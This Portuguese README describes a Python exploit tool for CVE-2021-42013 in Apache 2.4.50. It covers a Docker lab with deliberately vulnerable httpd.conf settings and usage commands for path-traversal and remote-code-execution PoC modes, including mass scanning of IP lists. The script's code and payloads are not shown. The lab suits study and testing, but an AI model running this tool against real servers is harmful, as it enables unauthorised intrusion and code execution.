Apache 2.4.50 - Path Traversal ou Execução Remota de Código

CVE-2021-42013.py é um script em Python que ajuda a encontrar vulnerabilidades de Path Traversal ou Execução Remota de Código no Apache 2.4.50. Uma instância vulnerável do Docker é fornecida para colocar a mão na massa com o CVE-2021-42013

Se o CGI-BIN estiver habilitado, podemos realizar a Execução Remota de Código, mas não o Path Traversal; por isso, o diretório "icons" foi adicionado à seção Alias do httpd.conf para verificar a vulnerabilidade de Path Traversal.

Configurações Vulneráveis no httpd.conf

1. Enable CGI-BIN
2. Add "icons" directory in Alias section
3. <Directory>Require all granted</Directory>

Laboratório para CVE-2021-42013

Construir o Docker

$ docker build -t cve-2021-42013 .

Executar o Docker

$ docker run -it cve-2021-42013

Uso do cve-2021-42013.py

Verificar Path Traversal e Execução Remota de Código

$ python3 cve-2021-42013.py -u http://172.17.0.2

PoC de Path Traversal

$ python3 cve-2021-42013.py -u http://172.17.0.2 -pt

PoC de Execução Remota de Código

$ python3 cve-2021-42013.py -u http://172.17.0.2 -rce

Para varredura em massa, forneça um arquivo de texto contendo IPs:

$ python3 cve-2021-42013.py -l list.txt

$ python3 cve-2021-42013.py -l list.txt -pt

$ python3 cve-2021-42013.py -l list.txt -rce

Mais informações podem ser encontradas aqui.

Referências

• https://nvd.nist.gov/vuln/detail/CVE-2021-42013
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42013
• https://www.cve.org/CVERecord?id=CVE-2021-42013
• https://httpd.apache.org/security/vulnerabilities_24.html
• https://walnutsecurity.com/path-traversal-remote-code-execution-in-apache/